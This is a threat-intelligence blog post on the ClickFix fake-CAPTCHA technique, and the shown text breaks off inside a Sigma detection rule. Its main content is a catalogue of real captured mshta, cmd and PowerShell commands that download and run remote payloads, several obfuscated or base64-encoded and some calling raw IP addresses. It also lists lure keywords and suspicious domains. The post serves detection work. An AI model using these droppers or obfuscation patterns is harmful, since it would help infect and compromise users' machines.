*Published: 6/1/2025 · Updated: 6/11/2025*
## Introduction
[ClickFix](https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape) (FakeCaptcha) has rapidly become the dominant social engineering tactic, tricking end users into detonating malicious commands and pulling down payloads themselves. [Proofpoint](https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn) coined the name in June 2024.
While it didn't start out as this simple, a compromised site has an injected snippet which delivers a fake captcha prompt to prove the end user is not a bot. This instructs the end user to press `Windows Key + R`, which opens the run dialog box. The user's clipboard is injected into via JavaScript, which contains the malicious command (powershell | cmd | mshta). Pressing `Control + V` and enter as instructed instantly detonates the command via that run dialog box.
Since then, threat actors have hopped on the ClickFix train given the simplicity and high rate of success, resulting in a wide variety of distributions such as ClearFake, KongTuke, Lumma Stealer and Emmenhtal.
Vendors have spent the time since chasing trivial command line obfuscation, and the actors keep changing it faster than the rules get rewritten.
## Command line observations
> Commands are compiled below for easy reference.
>
> Here are some of the example commands spotted in the wild:
#### mshta.exe
> [!example]- mshta.exe observed command lines
> ```python
> "C:\Windows\system32\mshta.exe" hxxps://captcha-domain[.]things/1.mp3 # ✔ I am not a robot - reCAPTCHA Verification ID: 2165
>
> "C:\WINDOWS\system32\mshta.exe" hxxps://check[.]domain[.]icu/gkcxv.google?i=009f49d2-1a0c-4b84-bf2e-9ffe1148073c # ''I am not a 'robot' - гeСАРТСНА Verification ID: 8398''
>
> "C:\WINDOWS\system32\mshta.exe" hxxps://check[.]domain[.]icu/gkcxv.google?i=49ae2e5e-9056-4af9-8477-35ac6fbc25e6 # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 421966''
>
> "C:\WINDOWS\system32\mshta.exe" hxxps://check[.]domain[.]icu/gkcxv.google?i=77d76b77-8f3b-473e-a9e4-b0532d58c903 # ''I am not a robot - САРТСНА Verification ID:701211''
>
> "C:\WINDOWS\system32\mshta.exe" hxxp://ok[.]domain[.]us/ # "Authentication needed: Secure Code 3V8MUR-9PW4S"
> ```
#### cmd.exe
> [!example]- cmd.exe observed command lines
> ```python
> "C:\WINDOWS\system32\cmd.exe" /c start /min powershell -Command "curl.exe -s 'hxxp://domain[.]live/cd/' -o (Join-Path $env:TEMP 'd.js'); Start-Process (Join-Path $env:TEMP 'd.js')" # ✔ ''Cloud Identificator: 3261''
>
> "C:\WINDOWS\system32\cmd.exe" /c "curl -s hxxps://domain[.]pw/softly.bat -o C:\Users\username\AppData\Local\Temp\1\\p.bat && start /b C:\Users\username\AppData\Local\Temp\1\\p.bat &&" echo 🛡️ Human Detected — Firewall Guardian Code: 6274848
>
> "C:\WINDOWS\system32\cmd.exe" cmd /c curl.exe -k -Ss -X POST "hxxps://domain[.]top/www/sss.php" -o "C:\Users\Public\dysm.bat" && start /min "" "C:\Users\Public\dysm.bat" Please Enter or OK button
> ```
#### powershell.exe
> [!example]- PowerShell observed command lines (long)
> ```python
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 irm hxxps://www[.]domain[.]info|iex
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" "irm hxxps://domain[.]ly/fidowindows | iex"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm domain[.]live/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"
>
> "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$s='xif/pot.maldomain//:sptth';$r=$s[-1..-$s.Length]-join'';iex(iwr $r -UseBasicParsing)""
>
> "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" /nOPR"o" ―W h -c "$url = 'd"om"a"in".com';$s"cr"i"pt" = I"nv"oke-"RestM"et"hod" -"Ur"i $url;I"n"vok"e-"Ex"p"re"ss"ion $scr"ip"t"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "iex $(irm 162.55.47.21:8080/$($z = [datetime]::UtcNow; $y = ([datetime]('01/01/' + '1970')); $x = ($z - $y).TotalSeconds; $w = [math]::Floor($x); $v = $w - ($w % 16); [int64]$v))"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h $s=@(104,116,116,112,58,47,47,122,57,56,49,50,51,46,116,111,112,47,49,50);$a=New-Object System.Xml.XmlDocument;$a.Load([System.Text.Encoding]::ASCII.GetString($s));$a.command.t.rtd|iex
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" $n='mNWU#ieS:old/CnTxHPE';$qH='.t';$g=$N+$qH;$DD='XsIKzrO';$H=$dd+$G;$o=$H[24]+$g[21]+$G[15]+'P'+$h[1]+$g[8]+$G[12]+'/cI'+$g[15]+$H[2]+'zEnDO'+$H[7]+'.SKi'+$n[1]+'/f516180c';$K='iR'+$H[7]; $gL=$G[5]+$g[19]+$DD[0]; &$gL(&$K $o);.'
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -NoP -c "$a='api';$b='oofse';$c='icu';$u=[string]::join('',[char[]](104,116,116,112,115,58,47,47)+$a+$b+'.'+$c+'/fix');$s='i'+'e'+'x';$r='i'+'w'+'r';$p='-Us'+'eBa'+'sicP'+'arsing';$z=$s+'('+$r+' '+$u+' '+$p+')'"|iex #Confirmation number - 1543
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -NoP -c "$a='api';$b='klrdgd';$c='icu';$u=[string]::join('',[char[]](104,116,116,112,115,58,47,47)+$a+$b+'.'+$c+'/fix');$s='i'+'e'+'x';$r='i'+'w'+'r';$p='-Us'+'eBa'+'sicP'+'arsing';$z=$s+'('+$r+' '+$u+' '+$p+')'"|iex #Confirmation number - 154
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 -C "$g=''; @(19,28,23,-54,18,30,30,26,29,-28,-39,-39,11,19,25,29,28,19,16,-40,13,25,23,38,19,15,34)|%{$g+=[char]($_+86)};.(gcm ?ex)($g)"
> "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 -C "$of=''; @(17,26,21,-56,16,28,28,24,27,-30,-41,-41,9,17,23,27,26,17,14,-42,11,23,21,36,17,13,32)|%{$of+=[char]($_+88)};.(gcm i?x)($of)"
>
> "C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://domain[.]live/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')"; Service connection checkup : 9167
> "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://domain[.]live/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')"; Service connection checkup : 8290
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$i = New-Object -ComObject ('WindowsInstaljer.Installer'.Replace('j','l')); $i.UILevel = 2; $i.('InstaljProduct'.Replace('j','l'))(('htdos://domain[.]live/'.Replace('do','tp')),'')"; Service connection checkup : 6071
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$i = New-Object -ComObject ('WindowsInstaljer.Installer'.Replace('j','l')); $i.UILevel = 2; $i.('InstaljProduct'.Replace('j','l'))(('htdos://domain[.]live/'.Replace('do','tp')),'')"; Service connection checkup : 7712
>
> "C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://domain[.]live/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')"; Service connection checkup : 1910
> "C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://domain[.]live/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')"; Service connection checkup : 3445
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -W HiDdEn -ExecutionPolicy Bypass -C "$u=('h'+'ttp://77.110.'+'118.130/eee.txt');IEX((IWr -UseBasicParsing -Uri $u).Content)"
>
> "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hid -noni -ep Bypass -c "$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly91aWtrLmFuaW1hbGlhb3Fpc3NvLmNvbS9pZnplZnNocnd3Z3BoZA=='));IEX $w.DownloadString($u)"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm domain[.]org/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm domain[.]org/u4tr3ibjal';iex ([string]::Join('|', $s, 'iex'))"
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm subdomain[.]trycloudflare[.]com/u4tr3ibjal';iex ([string]::Join('|', $s, 'iex'))"
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm subdomain[.]trycloudflare[.]com/u4tr3ibjal';iex ([string]::Join('|', $s, 'iex'))"
>
> "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoProfile -WindowStyle Hidden -Command "iex (new-object Net.WebClient).'DownloadString'('hxxp://181.174.100.100/transform')"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 -C "$l='hxxps://domain[.]online/gillikombugona.m4a';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" # ✅ ''I am not a robot: CAPTCHA Verification UID: 7811''
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 & \W*\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\\\\\\\m*ht*e hxxps://domain[.]shop/payload.m4a # ✅ ''I am not a robot: Cloudflare Verification ID: 439121''
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "& ([scriptblock]::Create((irm settings-domain[.]live/siglost)))"
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -N"OPr"O —w h –C "$v"jl"ea = 'r"ed"ac"t"ed"000"00"70n[.]inf"o'; $p"h"blnm = Invo"k"e-R"e"st"Me"tho"d" -U"r"i $vj"le"a; I"nv"o"ke"-E"x"pression $phblnm"
> ```
### Encoded PowerShell
> [!example]- Base64-encoded PowerShell payloads
> ```python
> powershell -WinD H -enc bQBZAGgAdABhACAAIgFOAHQAbQAwAVAC8AcgBLbAHAAbWByAHQAMwUAAGIALGOSjAGQAbgAUg4AZQBOAC8AbYAGEAMQAoACIA=
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ec JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABpAHIAbQAgACcAaAB0AHQAcABzADoALwAvAHAAbAB1AHMALQBwAGEAdgBlAGwALgBjAG8AbQAvAGYALwB0AC8ASwBtADYAOABDAEUASgBYAC4AagBwAGcAJwApACkAKQA=
>
> "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
> ```
## Drawing parallels
You may have picked up on a few themes already, but the main overlaps are the use of common keywords, emoticons, Cyrillic character embeddings, less than credible top-level domains, and behaviors such as invoke expression, invoke rest method, curl, etc.
Both `cmd.exe` and `mshta.exe` alike have significantly less short-hand interpretations compared to powershell, which seemingly has endless methods of obfuscation. For instance, encoding can be invoked by `-e`, `-en`, `-enc`, `-eC`. It can set single character variables, add arbitrary strings such as `"RestM"et"hod`, `Invoke-WebRequest` can become shorthand `iR`, etc.
`mshta.exe` and `cmd.exe` are easy enough to nail down from a few angles, while powershell obfuscation becomes a rabbit hole of a topic.
As the obfuscation and behavior evolved over the past several months, so have our methods of flagging this behavior.
**Keyword overlap**:
- captcha
- human
- robot
- authentication
- verification
- secure code
- service connection
- confirmation number
Keywords alone don't hold up, since they're trivially bypassed and the characters get swapped for Cyrillic lookalikes.
**TLD overlap**:
- .shop
- .live
- .pw
- .info
- .icu
- .top
> Note: These are not the only abused TLDs. More costly TLDs such as `.net` and `.com` are abused as well as the highly suspect TLDs such as `.top`
**Behaviors**:
- Curl
- Invoke-RestMethod | irm | iR
- Invoke-Expression | iex
- Invoke-WebRequest | iwr
- Single character variables
- Net.WebClient
- .`Replace` for obfuscation
- Excess of characters for obfuscation (`'`,`"`,`*`,`\`)
- Cyrillic character injection
## Mapping via canvas
> Here's a basic canvas mapping out infections from the fakecaptcha delivery to the run dialog box to the subsequent commands. The green rectangle maps out coverage with some of the rules provided below.
![[fakecaptcha_canvas.png]]
Detections like these reward keeping it simple, and there is no shortage of clever pivots that cost more than they return. The rules below sit on the ClickFix technique itself, the initial execution. Later stages like SOCKS proxy behavior out of NodeJS, NetSupport deployment and chained interpreters are out of scope here.
## Detection opportunities
### Detection 1: Kitchen sink, suspicious DNS requests
> These are abused LOLBins, and the rule checks whether they are beaconing out to suspicious TLDs.
> [!example]- Sigma rule: Kitchen Sink - Suspicious DNS Request
> ```yaml
> title: Kitchen Sink - Suspicious DNS Request
> id: 9abfcdeb-f678-7904-e2f5-426614174015
> description: "Detects DNS requests from high-risk processes (e.g., cmd.exe, powershell.exe) to suspicious tlds (e.g., .top, .icu, .xyz) or domains (e.g., trycloudflare), indicating potential c2 communication"
> status: experimental
> author: ShroudCloud
> date: 2025/05/20
> logsource:
> category: dns
> product: windows
> detection:
> selection_process:
> Image|endswith:
> - '\cmd.exe'
> - '\wscript.exe'
> - '\cscript.exe'
> - '\rundll32.exe'
> - '\regsvr32.exe'
> - '\mshta.exe'
> - '\powershell.exe'
> - '\pwsh.exe'
> - '\powershell_ise.exe'
> - '\msiexec.exe'
> selection_dns_tld:
> dns.request|re:
> - '.*\\.ar